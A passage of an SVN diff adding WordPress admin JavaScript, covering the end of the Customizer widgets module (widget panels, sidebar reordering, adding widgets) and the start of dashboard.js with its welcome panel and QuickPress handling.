+						otherControl.collapse();
+					}
+				} );
+
+				complete = function() {
+					self.container.removeClass( 'expanding' );
+					self.container.addClass( 'expanded' );
+					$widget.addClass( 'open' );
+					$toggleBtn.attr( 'aria-expanded', 'true' );
+					self.container.trigger( 'expanded' );
+				};
+				if ( args.completeCallback ) {
+					prevComplete = complete;
+					complete = function () {
+						prevComplete();
+						args.completeCallback();
+					};
+				}
+
+				if ( self.params.is_wide ) {
+					$inside.fadeIn( args.duration, complete );
+				} else {
+					$inside.slideDown( args.duration, complete );
+				}
+
+				self.container.trigger( 'expand' );
+				self.container.addClass( 'expanding' );
+			};
+
+			if ( expanded ) {
+				if ( api.section.has( self.section() ) ) {
+					api.section( self.section() ).expand( {
+						completeCallback: expandControl
+					} );
+				} else {
+					expandControl();
+				}
+			} else {
+				complete = function() {
+					self.container.removeClass( 'collapsing' );
+					self.container.removeClass( 'expanded' );
+					$widget.removeClass( 'open' );
+					$toggleBtn.attr( 'aria-expanded', 'false' );
+					self.container.trigger( 'collapsed' );
+				};
+				if ( args.completeCallback ) {
+					prevComplete = complete;
+					complete = function () {
+						prevComplete();
+						args.completeCallback();
+					};
+				}
+
+				self.container.trigger( 'collapse' );
+				self.container.addClass( 'collapsing' );
+
+				if ( self.params.is_wide ) {
+					$inside.fadeOut( args.duration, complete );
+				} else {
+					$inside.slideUp( args.duration, function() {
+						$widget.css( { width:'', margin:'' } );
+						complete();
+					} );
+				}
+			}
+		},
+
+		/**
+		 * Get the position (index) of the widget in the containing sidebar
+		 *
+		 * @returns {Number}
+		 */
+		getWidgetSidebarPosition: function() {
+			var sidebarWidgetIds, position;
+
+			sidebarWidgetIds = this.getSidebarWidgetsControl().setting();
+			position = _.indexOf( sidebarWidgetIds, this.params.widget_id );
+
+			if ( position === -1 ) {
+				return;
+			}
+
+			return position;
+		},
+
+		/**
+		 * Move widget up one in the sidebar
+		 */
+		moveUp: function() {
+			this._moveWidgetByOne( -1 );
+		},
+
+		/**
+		 * Move widget up one in the sidebar
+		 */
+		moveDown: function() {
+			this._moveWidgetByOne( 1 );
+		},
+
+		/**
+		 * @private
+		 *
+		 * @param {Number} offset 1|-1
+		 */
+		_moveWidgetByOne: function( offset ) {
+			var i, sidebarWidgetsSetting, sidebarWidgetIds,	adjacentWidgetId;
+
+			i = this.getWidgetSidebarPosition();
+
+			sidebarWidgetsSetting = this.getSidebarWidgetsControl().setting;
+			sidebarWidgetIds = Array.prototype.slice.call( sidebarWidgetsSetting() ); // clone
+			adjacentWidgetId = sidebarWidgetIds[i + offset];
+			sidebarWidgetIds[i + offset] = this.params.widget_id;
+			sidebarWidgetIds[i] = adjacentWidgetId;
+
+			sidebarWidgetsSetting( sidebarWidgetIds );
+		},
+
+		/**
+		 * Toggle visibility of the widget move area
+		 *
+		 * @param {Boolean} [showOrHide]
+		 */
+		toggleWidgetMoveArea: function( showOrHide ) {
+			var self = this, $moveWidgetArea;
+
+			$moveWidgetArea = this.container.find( '.move-widget-area' );
+
+			if ( typeof showOrHide === 'undefined' ) {
+				showOrHide = ! $moveWidgetArea.hasClass( 'active' );
+			}
+
+			if ( showOrHide ) {
+				// reset the selected sidebar
+				$moveWidgetArea.find( '.selected' ).removeClass( 'selected' );
+
+				$moveWidgetArea.find( 'li' ).filter( function() {
+					return $( this ).data( 'id' ) === self.params.sidebar_id;
+				} ).addClass( 'selected' );
+
+				this.container.find( '.move-widget-btn' ).prop( 'disabled', true );
+			}
+
+			$moveWidgetArea.toggleClass( 'active', showOrHide );
+		},
+
+		/**
+		 * Highlight the widget control and section
+		 */
+		highlightSectionAndControl: function() {
+			var $target;
+
+			if ( this.container.is( ':hidden' ) ) {
+				$target = this.container.closest( '.control-section' );
+			} else {
+				$target = this.container;
+			}
+
+			$( '.highlighted' ).removeClass( 'highlighted' );
+			$target.addClass( 'highlighted' );
+
+			setTimeout( function() {
+				$target.removeClass( 'highlighted' );
+			}, 500 );
+		}
+	} );
+
+	/**
+	 * wp.customize.Widgets.WidgetsPanel
+	 *
+	 * Customizer panel containing the widget area sections.
+	 *
+	 * @since 4.4.0
+	 */
+	api.Widgets.WidgetsPanel = api.Panel.extend({
+
+		/**
+		 * Add and manage the display of the no-rendered-areas notice.
+		 *
+		 * @since 4.4.0
+		 */
+		ready: function () {
+			var panel = this;
+
+			api.Panel.prototype.ready.call( panel );
+
+			panel.deferred.embedded.done(function() {
+				var panelMetaContainer, noticeContainer, updateNotice, getActiveSectionCount, shouldShowNotice;
+				panelMetaContainer = panel.container.find( '.panel-meta' );
+
+				// @todo This should use the Notifications API introduced to panels. See <https://core.trac.wordpress.org/ticket/38794>.
+				noticeContainer = $( '<div></div>', {
+					'class': 'no-widget-areas-rendered-notice'
+				});
+				panelMetaContainer.append( noticeContainer );
+
+				/**
+				 * Get the number of active sections in the panel.
+				 *
+				 * @return {number} Number of active sidebar sections.
+				 */
+				getActiveSectionCount = function() {
+					return _.filter( panel.sections(), function( section ) {
+						return section.active();
+					} ).length;
+				};
+
+				/**
+				 * Determine whether or not the notice should be displayed.
+				 *
+				 * @return {boolean}
+				 */
+				shouldShowNotice = function() {
+					var activeSectionCount = getActiveSectionCount();
+					if ( 0 === activeSectionCount ) {
+						return true;
+					} else {
+						return activeSectionCount !== api.Widgets.data.registeredSidebars.length;
+					}
+				};
+
+				/**
+				 * Update the notice.
+				 *
+				 * @returns {void}
+				 */
+				updateNotice = function() {
+					var activeSectionCount = getActiveSectionCount(), someRenderedMessage, nonRenderedAreaCount, registeredAreaCount;
+					noticeContainer.empty();
+
+					registeredAreaCount = api.Widgets.data.registeredSidebars.length;
+					if ( activeSectionCount !== registeredAreaCount ) {
+
+						if ( 0 !== activeSectionCount ) {
+							nonRenderedAreaCount = registeredAreaCount - activeSectionCount;
+							someRenderedMessage = l10n.someAreasShown[ nonRenderedAreaCount ];
+						} else {
+							someRenderedMessage = l10n.noAreasShown;
+						}
+						if ( someRenderedMessage ) {
+							noticeContainer.append( $( '<p></p>', {
+								text: someRenderedMessage
+							} ) );
+						}
+
+						noticeContainer.append( $( '<p></p>', {
+							text: l10n.navigatePreview
+						} ) );
+					}
+				};
+				updateNotice();
+
+				/*
+				 * Set the initial visibility state for rendered notice.
+				 * Update the visibility of the notice whenever a reflow happens.
+				 */
+				noticeContainer.toggle( shouldShowNotice() );
+				api.previewer.deferred.active.done( function () {
+					noticeContainer.toggle( shouldShowNotice() );
+				});
+				api.bind( 'pane-contents-reflowed', function() {
+					var duration = ( 'resolved' === api.previewer.deferred.active.state() ) ? 'fast' : 0;
+					updateNotice();
+					if ( shouldShowNotice() ) {
+						noticeContainer.slideDown( duration );
+					} else {
+						noticeContainer.slideUp( duration );
+					}
+				});
+			});
+		},
+
+		/**
+		 * Allow an active widgets panel to be contextually active even when it has no active sections (widget areas).
+		 *
+		 * This ensures that the widgets panel appears even when there are no
+		 * sidebars displayed on the URL currently being previewed.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @returns {boolean}
+		 */
+		isContextuallyActive: function() {
+			var panel = this;
+			return panel.active();
+		}
+	});
+
+	/**
+	 * wp.customize.Widgets.SidebarSection
+	 *
+	 * Customizer section representing a widget area widget
+	 *
+	 * @since 4.1.0
+	 */
+	api.Widgets.SidebarSection = api.Section.extend({
+
+		/**
+		 * Sync the section's active state back to the Backbone model's is_rendered attribute
+		 *
+		 * @since 4.1.0
+		 */
+		ready: function () {
+			var section = this, registeredSidebar;
+			api.Section.prototype.ready.call( this );
+			registeredSidebar = api.Widgets.registeredSidebars.get( section.params.sidebarId );
+			section.active.bind( function ( active ) {
+				registeredSidebar.set( 'is_rendered', active );
+			});
+			registeredSidebar.set( 'is_rendered', section.active() );
+		}
+	});
+
+	/**
+	 * wp.customize.Widgets.SidebarControl
+	 *
+	 * Customizer control for widgets.
+	 * Note that 'sidebar_widgets' must match the WP_Widget_Area_Customize_Control::$type
+	 *
+	 * @since 3.9.0
+	 *
+	 * @constructor
+	 * @augments wp.customize.Control
+	 */
+	api.Widgets.SidebarControl = api.Control.extend({
+
+		/**
+		 * Set up the control
+		 */
+		ready: function() {
+			this.$controlSection = this.container.closest( '.control-section' );
+			this.$sectionContent = this.container.closest( '.accordion-section-content' );
+
+			this._setupModel();
+			this._setupSortable();
+			this._setupAddition();
+			this._applyCardinalOrderClassNames();
+		},
+
+		/**
+		 * Update ordering of widget control forms when the setting is updated
+		 */
+		_setupModel: function() {
+			var self = this;
+
+			this.setting.bind( function( newWidgetIds, oldWidgetIds ) {
+				var widgetFormControls, removedWidgetIds, priority;
+
+				removedWidgetIds = _( oldWidgetIds ).difference( newWidgetIds );
+
+				// Filter out any persistent widget IDs for widgets which have been deactivated
+				newWidgetIds = _( newWidgetIds ).filter( function( newWidgetId ) {
+					var parsedWidgetId = parseWidgetId( newWidgetId );
+
+					return !! api.Widgets.availableWidgets.findWhere( { id_base: parsedWidgetId.id_base } );
+				} );
+
+				widgetFormControls = _( newWidgetIds ).map( function( widgetId ) {
+					var widgetFormControl = api.Widgets.getWidgetFormControlForWidget( widgetId );
+
+					if ( ! widgetFormControl ) {
+						widgetFormControl = self.addWidget( widgetId );
+					}
+
+					return widgetFormControl;
+				} );
+
+				// Sort widget controls to their new positions
+				widgetFormControls.sort( function( a, b ) {
+					var aIndex = _.indexOf( newWidgetIds, a.params.widget_id ),
+						bIndex = _.indexOf( newWidgetIds, b.params.widget_id );
+					return aIndex - bIndex;
+				});
+
+				priority = 0;
+				_( widgetFormControls ).each( function ( control ) {
+					control.priority( priority );
+					control.section( self.section() );
+					priority += 1;
+				});
+				self.priority( priority ); // Make sure sidebar control remains at end
+
+				// Re-sort widget form controls (including widgets form other sidebars newly moved here)
+				self._applyCardinalOrderClassNames();
+
+				// If the widget was dragged into the sidebar, make sure the sidebar_id param is updated
+				_( widgetFormControls ).each( function( widgetFormControl ) {
+					widgetFormControl.params.sidebar_id = self.params.sidebar_id;
+				} );
+
+				// Cleanup after widget removal
+				_( removedWidgetIds ).each( function( removedWidgetId ) {
+
+					// Using setTimeout so that when moving a widget to another sidebar, the other sidebars_widgets settings get a chance to update
+					setTimeout( function() {
+						var removedControl, wasDraggedToAnotherSidebar, inactiveWidgets, removedIdBase,
+							widget, isPresentInAnotherSidebar = false;
+
+						// Check if the widget is in another sidebar
+						api.each( function( otherSetting ) {
+							if ( otherSetting.id === self.setting.id || 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) || otherSetting.id === 'sidebars_widgets[wp_inactive_widgets]' ) {
+								return;
+							}
+
+							var otherSidebarWidgets = otherSetting(), i;
+
+							i = _.indexOf( otherSidebarWidgets, removedWidgetId );
+							if ( -1 !== i ) {
+								isPresentInAnotherSidebar = true;
+							}
+						} );
+
+						// If the widget is present in another sidebar, abort!
+						if ( isPresentInAnotherSidebar ) {
+							return;
+						}
+
+						removedControl = api.Widgets.getWidgetFormControlForWidget( removedWidgetId );
+
+						// Detect if widget control was dragged to another sidebar
+						wasDraggedToAnotherSidebar = removedControl && $.contains( document, removedControl.container[0] ) && ! $.contains( self.$sectionContent[0], removedControl.container[0] );
+
+						// Delete any widget form controls for removed widgets
+						if ( removedControl && ! wasDraggedToAnotherSidebar ) {
+							api.control.remove( removedControl.id );
+							removedControl.container.remove();
+						}
+
+						// Move widget to inactive widgets sidebar (move it to trash) if has been previously saved
+						// This prevents the inactive widgets sidebar from overflowing with throwaway widgets
+						if ( api.Widgets.savedWidgetIds[removedWidgetId] ) {
+							inactiveWidgets = api.value( 'sidebars_widgets[wp_inactive_widgets]' )().slice();
+							inactiveWidgets.push( removedWidgetId );
+							api.value( 'sidebars_widgets[wp_inactive_widgets]' )( _( inactiveWidgets ).unique() );
+						}
+
+						// Make old single widget available for adding again
+						removedIdBase = parseWidgetId( removedWidgetId ).id_base;
+						widget = api.Widgets.availableWidgets.findWhere( { id_base: removedIdBase } );
+						if ( widget && ! widget.get( 'is_multi' ) ) {
+							widget.set( 'is_disabled', false );
+						}
+					} );
+
+				} );
+			} );
+		},
+
+		/**
+		 * Allow widgets in sidebar to be re-ordered, and for the order to be previewed
+		 */
+		_setupSortable: function() {
+			var self = this;
+
+			this.isReordering = false;
+
+			/**
+			 * Update widget order setting when controls are re-ordered
+			 */
+			this.$sectionContent.sortable( {
+				items: '> .customize-control-widget_form',
+				handle: '.widget-top',
+				axis: 'y',
+				tolerance: 'pointer',
+				connectWith: '.accordion-section-content:has(.customize-control-sidebar_widgets)',
+				update: function() {
+					var widgetContainerIds = self.$sectionContent.sortable( 'toArray' ), widgetIds;
+
+					widgetIds = $.map( widgetContainerIds, function( widgetContainerId ) {
+						return $( '#' + widgetContainerId ).find( ':input[name=widget-id]' ).val();
+					} );
+
+					self.setting( widgetIds );
+				}
+			} );
+
+			/**
+			 * Expand other Customizer sidebar section when dragging a control widget over it,
+			 * allowing the control to be dropped into another section
+			 */
+			this.$controlSection.find( '.accordion-section-title' ).droppable({
+				accept: '.customize-control-widget_form',
+				over: function() {
+					var section = api.section( self.section.get() );
+					section.expand({
+						allowMultiple: true, // Prevent the section being dragged from to be collapsed
+						completeCallback: function () {
+							// @todo It is not clear when refreshPositions should be called on which sections, or if it is even needed
+							api.section.each( function ( otherSection ) {
+								if ( otherSection.container.find( '.customize-control-sidebar_widgets' ).length ) {
+									otherSection.container.find( '.accordion-section-content:first' ).sortable( 'refreshPositions' );
+								}
+							} );
+						}
+					});
+				}
+			});
+
+			/**
+			 * Keyboard-accessible reordering
+			 */
+			this.container.find( '.reorder-toggle' ).on( 'click', function() {
+				self.toggleReordering( ! self.isReordering );
+			} );
+		},
+
+		/**
+		 * Set up UI for adding a new widget
+		 */
+		_setupAddition: function() {
+			var self = this;
+
+			this.container.find( '.add-new-widget' ).on( 'click', function() {
+				var addNewWidgetBtn = $( this );
+
+				if ( self.$sectionContent.hasClass( 'reordering' ) ) {
+					return;
+				}
+
+				if ( ! $( 'body' ).hasClass( 'adding-widget' ) ) {
+					addNewWidgetBtn.attr( 'aria-expanded', 'true' );
+					api.Widgets.availableWidgetsPanel.open( self );
+				} else {
+					addNewWidgetBtn.attr( 'aria-expanded', 'false' );
+					api.Widgets.availableWidgetsPanel.close();
+				}
+			} );
+		},
+
+		/**
+		 * Add classes to the widget_form controls to assist with styling
+		 */
+		_applyCardinalOrderClassNames: function() {
+			var widgetControls = [];
+			_.each( this.setting(), function ( widgetId ) {
+				var widgetControl = api.Widgets.getWidgetFormControlForWidget( widgetId );
+				if ( widgetControl ) {
+					widgetControls.push( widgetControl );
+				}
+			});
+
+			if ( 0 === widgetControls.length || ( 1 === api.Widgets.registeredSidebars.length && widgetControls.length <= 1 ) ) {
+				this.container.find( '.reorder-toggle' ).hide();
+				return;
+			} else {
+				this.container.find( '.reorder-toggle' ).show();
+			}
+
+			$( widgetControls ).each( function () {
+				$( this.container )
+					.removeClass( 'first-widget' )
+					.removeClass( 'last-widget' )
+					.find( '.move-widget-down, .move-widget-up' ).prop( 'tabIndex', 0 );
+			});
+
+			_.first( widgetControls ).container
+				.addClass( 'first-widget' )
+				.find( '.move-widget-up' ).prop( 'tabIndex', -1 );
+
+			_.last( widgetControls ).container
+				.addClass( 'last-widget' )
+				.find( '.move-widget-down' ).prop( 'tabIndex', -1 );
+		},
+
+
+		/***********************************************************************
+		 * Begin public API methods
+		 **********************************************************************/
+
+		/**
+		 * Enable/disable the reordering UI
+		 *
+		 * @param {Boolean} showOrHide to enable/disable reordering
+		 *
+		 * @todo We should have a reordering state instead and rename this to onChangeReordering
+		 */
+		toggleReordering: function( showOrHide ) {
+			var addNewWidgetBtn = this.$sectionContent.find( '.add-new-widget' ),
+				reorderBtn = this.container.find( '.reorder-toggle' ),
+				widgetsTitle = this.$sectionContent.find( '.widget-title' );
+
+			showOrHide = Boolean( showOrHide );
+
+			if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
+				return;
+			}
+
+			this.isReordering = showOrHide;
+			this.$sectionContent.toggleClass( 'reordering', showOrHide );
+
+			if ( showOrHide ) {
+				_( this.getWidgetFormControls() ).each( function( formControl ) {
+					formControl.collapse();
+				} );
+
+				addNewWidgetBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
+				reorderBtn.attr( 'aria-label', l10n.reorderLabelOff );
+				wp.a11y.speak( l10n.reorderModeOn );
+				// Hide widget titles while reordering: title is already in the reorder controls.
+				widgetsTitle.attr( 'aria-hidden', 'true' );
+			} else {
+				addNewWidgetBtn.removeAttr( 'tabindex aria-hidden' );
+				reorderBtn.attr( 'aria-label', l10n.reorderLabelOn );
+				wp.a11y.speak( l10n.reorderModeOff );
+				widgetsTitle.attr( 'aria-hidden', 'false' );
+			}
+		},
+
+		/**
+		 * Get the widget_form Customize controls associated with the current sidebar.
+		 *
+		 * @since 3.9.0
+		 * @return {wp.customize.controlConstructor.widget_form[]}
+		 */
+		getWidgetFormControls: function() {
+			var formControls = [];
+
+			_( this.setting() ).each( function( widgetId ) {
+				var settingId = widgetIdToSettingId( widgetId ),
+					formControl = api.control( settingId );
+				if ( formControl ) {
+					formControls.push( formControl );
+				}
+			} );
+
+			return formControls;
+		},
+
+		/**
+		 * @param {string} widgetId or an id_base for adding a previously non-existing widget
+		 * @returns {object|false} widget_form control instance, or false on error
+		 */
+		addWidget: function( widgetId ) {
+			var self = this, controlHtml, $widget, controlType = 'widget_form', controlContainer, controlConstructor,
+				parsedWidgetId = parseWidgetId( widgetId ),
+				widgetNumber = parsedWidgetId.number,
+				widgetIdBase = parsedWidgetId.id_base,
+				widget = api.Widgets.availableWidgets.findWhere( {id_base: widgetIdBase} ),
+				settingId, isExistingWidget, widgetFormControl, sidebarWidgets, settingArgs, setting;
+
+			if ( ! widget ) {
+				return false;
+			}
+
+			if ( widgetNumber && ! widget.get( 'is_multi' ) ) {
+				return false;
+			}
+
+			// Set up new multi widget
+			if ( widget.get( 'is_multi' ) && ! widgetNumber ) {
+				widget.set( 'multi_number', widget.get( 'multi_number' ) + 1 );
+				widgetNumber = widget.get( 'multi_number' );
+			}
+
+			controlHtml = $.trim( $( '#widget-tpl-' + widget.get( 'id' ) ).html() );
+			if ( widget.get( 'is_multi' ) ) {
+				controlHtml = controlHtml.replace( /<[^<>]+>/g, function( m ) {
+					return m.replace( /__i__|%i%/g, widgetNumber );
+				} );
+			} else {
+				widget.set( 'is_disabled', true ); // Prevent single widget from being added again now
+			}
+
+			$widget = $( controlHtml );
+
+			controlContainer = $( '<li/>' )
+				.addClass( 'customize-control' )
+				.addClass( 'customize-control-' + controlType )
+				.append( $widget );
+
+			// Remove icon which is visible inside the panel
+			controlContainer.find( '> .widget-icon' ).remove();
+
+			if ( widget.get( 'is_multi' ) ) {
+				controlContainer.find( 'input[name="widget_number"]' ).val( widgetNumber );
+				controlContainer.find( 'input[name="multi_number"]' ).val( widgetNumber );
+			}
+
+			widgetId = controlContainer.find( '[name="widget-id"]' ).val();
+
+			controlContainer.hide(); // to be slid-down below
+
+			settingId = 'widget_' + widget.get( 'id_base' );
+			if ( widget.get( 'is_multi' ) ) {
+				settingId += '[' + widgetNumber + ']';
+			}
+			controlContainer.attr( 'id', 'customize-control-' + settingId.replace( /\]/g, '' ).replace( /\[/g, '-' ) );
+
+			// Only create setting if it doesn't already exist (if we're adding a pre-existing inactive widget)
+			isExistingWidget = api.has( settingId );
+			if ( ! isExistingWidget ) {
+				settingArgs = {
+					transport: api.Widgets.data.selectiveRefreshableWidgets[ widget.get( 'id_base' ) ] ? 'postMessage' : 'refresh',
+					previewer: this.setting.previewer
+				};
+				setting = api.create( settingId, settingId, '', settingArgs );
+				setting.set( {} ); // mark dirty, changing from '' to {}
+			}
+
+			controlConstructor = api.controlConstructor[controlType];
+			widgetFormControl = new controlConstructor( settingId, {
+				settings: {
+					'default': settingId
+				},
+				content: controlContainer,
+				sidebar_id: self.params.sidebar_id,
+				widget_id: widgetId,
+				widget_id_base: widget.get( 'id_base' ),
+				type: controlType,
+				is_new: ! isExistingWidget,
+				width: widget.get( 'width' ),
+				height: widget.get( 'height' ),
+				is_wide: widget.get( 'is_wide' )
+			} );
+			api.control.add( widgetFormControl );
+
+			// Make sure widget is removed from the other sidebars
+			api.each( function( otherSetting ) {
+				if ( otherSetting.id === self.setting.id ) {
+					return;
+				}
+
+				if ( 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) ) {
+					return;
+				}
+
+				var otherSidebarWidgets = otherSetting().slice(),
+					i = _.indexOf( otherSidebarWidgets, widgetId );
+
+				if ( -1 !== i ) {
+					otherSidebarWidgets.splice( i );
+					otherSetting( otherSidebarWidgets );
+				}
+			} );
+
+			// Add widget to this sidebar
+			sidebarWidgets = this.setting().slice();
+			if ( -1 === _.indexOf( sidebarWidgets, widgetId ) ) {
+				sidebarWidgets.push( widgetId );
+				this.setting( sidebarWidgets );
+			}
+
+			controlContainer.slideDown( function() {
+				if ( isExistingWidget ) {
+					widgetFormControl.updateWidget( {
+						instance: widgetFormControl.setting()
+					} );
+				}
+			} );
+
+			return widgetFormControl;
+		}
+	} );
+
+	// Register models for custom panel, section, and control types
+	$.extend( api.panelConstructor, {
+		widgets: api.Widgets.WidgetsPanel
+	});
+	$.extend( api.sectionConstructor, {
+		sidebar: api.Widgets.SidebarSection
+	});
+	$.extend( api.controlConstructor, {
+		widget_form: api.Widgets.WidgetControl,
+		sidebar_widgets: api.Widgets.SidebarControl
+	});
+
+	/**
+	 * Init Customizer for widgets.
+	 */
+	api.bind( 'ready', function() {
+		// Set up the widgets panel
+		api.Widgets.availableWidgetsPanel = new api.Widgets.AvailableWidgetsPanelView({
+			collection: api.Widgets.availableWidgets
+		});
+
+		// Highlight widget control
+		api.previewer.bind( 'highlight-widget-control', api.Widgets.highlightWidgetFormControl );
+
+		// Open and focus widget control
+		api.previewer.bind( 'focus-widget-control', api.Widgets.focusWidgetFormControl );
+	} );
+
+	/**
+	 * Highlight a widget control.
+	 *
+	 * @param {string} widgetId
+	 */
+	api.Widgets.highlightWidgetFormControl = function( widgetId ) {
+		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );
+
+		if ( control ) {
+			control.highlightSectionAndControl();
+		}
+	},
+
+	/**
+	 * Focus a widget control.
+	 *
+	 * @param {string} widgetId
+	 */
+	api.Widgets.focusWidgetFormControl = function( widgetId ) {
+		var control = api.Widgets.getWidgetFormControlForWidget( widgetId );
+
+		if ( control ) {
+			control.focus();
+		}
+	},
+
+	/**
+	 * Given a widget control, find the sidebar widgets control that contains it.
+	 * @param {string} widgetId
+	 * @return {object|null}
+	 */
+	api.Widgets.getSidebarWidgetControlContainingWidget = function( widgetId ) {
+		var foundControl = null;
+
+		// @todo this can use widgetIdToSettingId(), then pass into wp.customize.control( x ).getSidebarWidgetsControl()
+		api.control.each( function( control ) {
+			if ( control.params.type === 'sidebar_widgets' && -1 !== _.indexOf( control.setting(), widgetId ) ) {
+				foundControl = control;
+			}
+		} );
+
+		return foundControl;
+	};
+
+	/**
+	 * Given a widget ID for a widget appearing in the preview, get the widget form control associated with it.
+	 *
+	 * @param {string} widgetId
+	 * @return {object|null}
+	 */
+	api.Widgets.getWidgetFormControlForWidget = function( widgetId ) {
+		var foundControl = null;
+
+		// @todo We can just use widgetIdToSettingId() here
+		api.control.each( function( control ) {
+			if ( control.params.type === 'widget_form' && control.params.widget_id === widgetId ) {
+				foundControl = control;
+			}
+		} );
+
+		return foundControl;
+	};
+
+	/**
+	 * Initialize Edit Menu button in Nav Menu widget.
+	 */
+	$( document ).on( 'widget-added', function( event, widgetContainer ) {
+		var parsedWidgetId, widgetControl, navMenuSelect, editMenuButton;
+		parsedWidgetId = parseWidgetId( widgetContainer.find( '> .widget-inside > .form > .widget-id' ).val() );
+		if ( 'nav_menu' !== parsedWidgetId.id_base ) {
+			return;
+		}
+		widgetControl = api.control( 'widget_nav_menu[' + String( parsedWidgetId.number ) + ']' );
+		if ( ! widgetControl ) {
+			return;
+		}
+		navMenuSelect = widgetContainer.find( 'select[name*="nav_menu"]' );
+		editMenuButton = widgetContainer.find( '.edit-selected-nav-menu > button' );
+		if ( 0 === navMenuSelect.length || 0 === editMenuButton.length ) {
+			return;
+		}
+		navMenuSelect.on( 'change', function() {
+			if ( api.section.has( 'nav_menu[' + navMenuSelect.val() + ']' ) ) {
+				editMenuButton.parent().show();
+			} else {
+				editMenuButton.parent().hide();
+			}
+		});
+		editMenuButton.on( 'click', function() {
+			var section = api.section( 'nav_menu[' + navMenuSelect.val() + ']' );
+			if ( section ) {
+				focusConstructWithBreadcrumb( section, widgetControl );
+			}
+		} );
+	} );
+
+	/**
+	 * Focus (expand) one construct and then focus on another construct after the first is collapsed.
+	 *
+	 * This overrides the back button to serve the purpose of breadcrumb navigation.
+	 *
+	 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} focusConstruct - The object to initially focus.
+	 * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} returnConstruct - The object to return focus.
+	 */
+	function focusConstructWithBreadcrumb( focusConstruct, returnConstruct ) {
+		focusConstruct.focus();
+		function onceCollapsed( isExpanded ) {
+			if ( ! isExpanded ) {
+				focusConstruct.expanded.unbind( onceCollapsed );
+				returnConstruct.focus();
+			}
+		}
+		focusConstruct.expanded.bind( onceCollapsed );
+	}
+
+	/**
+	 * @param {String} widgetId
+	 * @returns {Object}
+	 */
+	function parseWidgetId( widgetId ) {
+		var matches, parsed = {
+			number: null,
+			id_base: null
+		};
+
+		matches = widgetId.match( /^(.+)-(\d+)$/ );
+		if ( matches ) {
+			parsed.id_base = matches[1];
+			parsed.number = parseInt( matches[2], 10 );
+		} else {
+			// likely an old single widget
+			parsed.id_base = widgetId;
+		}
+
+		return parsed;
+	}
+
+	/**
+	 * @param {String} widgetId
+	 * @returns {String} settingId
+	 */
+	function widgetIdToSettingId( widgetId ) {
+		var parsed = parseWidgetId( widgetId ), settingId;
+
+		settingId = 'widget_' + parsed.id_base;
+		if ( parsed.number ) {
+			settingId += '[' + parsed.number + ']';
+		}
+
+		return settingId;
+	}
+
+})( window.wp, jQuery );
Index: /tags/5.0.20/src/wp-admin/js/dashboard.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/dashboard.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/dashboard.js	(revision 56912)
@@ -0,0 +1,499 @@
+/* global pagenow, ajaxurl, postboxes, wpActiveEditor:true */
+var ajaxWidgets, ajaxPopulateWidgets, quickPressLoad;
+window.wp = window.wp || {};
+
+jQuery(document).ready( function($) {
+	var welcomePanel = $( '#welcome-panel' ),
+		welcomePanelHide = $('#wp_welcome_panel-hide'),
+		updateWelcomePanel;
+
+	updateWelcomePanel = function( visible ) {
+		$.post( ajaxurl, {
+			action: 'update-welcome-panel',
+			visible: visible,
+			welcomepanelnonce: $( '#welcomepanelnonce' ).val()
+		});
+	};
+
+	if ( welcomePanel.hasClass('hidden') && welcomePanelHide.prop('checked') ) {
+		welcomePanel.removeClass('hidden');
+	}
+
+	$('.welcome-panel-close, .welcome-panel-dismiss a', welcomePanel).click( function(e) {
+		e.preventDefault();
+		welcomePanel.addClass('hidden');
+		updateWelcomePanel( 0 );
+		$('#wp_welcome_panel-hide').prop('checked', false);
+	});
+
+	welcomePanelHide.click( function() {
+		welcomePanel.toggleClass('hidden', ! this.checked );
+		updateWelcomePanel( this.checked ? 1 : 0 );
+	});
+
+	// These widgets are sometimes populated via ajax
+	ajaxWidgets = ['dashboard_primary'];
+
+	ajaxPopulateWidgets = function(el) {
+		function show(i, id) {
+			var p, e = $('#' + id + ' div.inside:visible').find('.widget-loading');
+			if ( e.length ) {
+				p = e.parent();
+				setTimeout( function(){
+					p.load( ajaxurl + '?action=dashboard-widgets&widget=' + id + '&pagenow=' + pagenow, '', function() {
+						p.hide().slideDown('normal', function(){
+							$(this).css('display', '');
+						});
+					});
+				}, i * 500 );
+			}
+		}
+
+		if ( el ) {
+			el = el.toString();
+			if ( $.inArray(el, ajaxWidgets) !== -1 ) {
+				show(0, el);
+			}
+		} else {
+			$.each( ajaxWidgets, show );
+		}
+	};
+	ajaxPopulateWidgets();
+
+	postboxes.add_postbox_toggles(pagenow, { pbshow: ajaxPopulateWidgets } );
+
+	/* QuickPress */
+	quickPressLoad = function() {
+		var act = $('#quickpost-action'), t;
+
+		$( '#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]' ).prop( 'disabled' , false );
+
+		t = $('#quick-press').submit( function( e ) {
+			e.preventDefault();
+			$('#dashboard_quick_press #publishing-action .spinner').show();
+			$('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').prop('disabled', true);
+
+			$.post( t.attr( 'action' ), t.serializeArray(), function( data ) {
+				// Replace the form, and prepend the published post.
+				$('#dashboard_quick_press .inside').html( data );
+				$('#quick-press').removeClass('initial-form');
+				quickPressLoad();
+				highlightLatestPost();
+				$('#title').focus();
+			});
+
+			function highlightLatestPost () {
+				var latestPost = $('.drafts ul li').first();
+				latestPost.css('background', '#fffbe5');
+				setTimeout(function () {
+					latestPost.css('background', 'none');
+				}, 1000);
+			}
+		} );
+
+		$('#publish').click( function() { act.val( 'post-quickpress-publish' ); } );
+
+		$('#title, #tags-input, #content').each( function() {
+			var input = $(this), prompt = $('#' + this.id + '-prompt-text');
+
+			if ( '' === this.value ) {
+				prompt.removeClass('screen-reader-text');
+			}
+
+			prompt.click( function() {
+				$(this).addClass('screen-reader-text');
+				input.focus();
+			});
+
+			input.blur( function() {
+				if ( '' === this.value ) {
+					prompt.removeClass('screen-reader-text');
+				}
+			});
+
+			input.focus( function() {
+				prompt.addClass('screen-reader-text');
+			});
+		});
+
+		$('#quick-press').on( 'click focusin', function() {
+			wpActiveEditor = 'content';
+		});
+
+		autoResizeTextarea();
+	};
+	quickPressLoad();
+
